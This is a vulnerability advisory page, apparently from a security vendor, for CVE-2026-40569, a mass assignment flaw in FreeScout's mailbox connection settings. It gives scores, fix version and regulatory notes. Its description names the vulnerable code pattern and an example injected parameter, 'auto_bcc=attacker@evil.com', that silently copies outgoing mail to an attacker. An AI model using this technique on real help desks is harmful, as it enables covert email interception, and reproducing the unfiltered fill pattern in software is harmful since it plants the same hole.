FreeScout's Mass Assignment in Mailbox Connection Settings Enables Silent Email Exfiltration (CVE-2026-40569)
Published Sources: CVE.org
What is affected, what to do
FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398).
Update Freescout to version 1.8.213.
- Affected
- Freescout
lt *..1.8.213
- Freescout
- Fixed in
- Freescout
1.8.213
- Freescout
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Metrics
9.0
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v3
9.0
CVSS v3
Severity Critical on the scale from 0 to 10.
Source: CVE.org
0.3 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 22.4
Show all metrics
- Severity
- Critical
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 65.21 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 9.0 Methodology
CVSS v3
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 9.0
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.3 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 22.4
- Elevated — this CVE ranks above at least 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
- CISA assessment (SSVC)
- Exploitation: proof of concept · not automatable · Technical impact: total
- Source: CISA Vulnrichment, as of 21 April 2026
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-284, CWE-915
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.
Source: NVD (NIST), cvelistv5
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| freescout-help-desk | freescout |
|
|
Vendors and products
Weakness classes (CWE)
CWE-284Improper Access Control
Pillar
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
Entry at MITRE CWE-284CWE-915Improperly Controlled Modification of Dynamically-Determined Object Attributes
Base
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
Entry at MITRE CWE-915
References & sources
- github.comfreescout-help-desk/freescout/security/advisories/GHSA-hmqm-33w…x_refsource_CONFIRM
- github.comfreescout-help-desk/freescout/commit/f45b9105d43b0352c08fcca154…x_refsource_MISC
- github.comfreescout-help-desk/freescout/releases/tag/1.8.213x_refsource_MISC
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<a href="https://intel.neosec.eu/en/cve/CVE-2026-40569"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-40569.svg?lang=en" alt="CVE-2026-40569 – NEOSEC Intel" height="20"></a>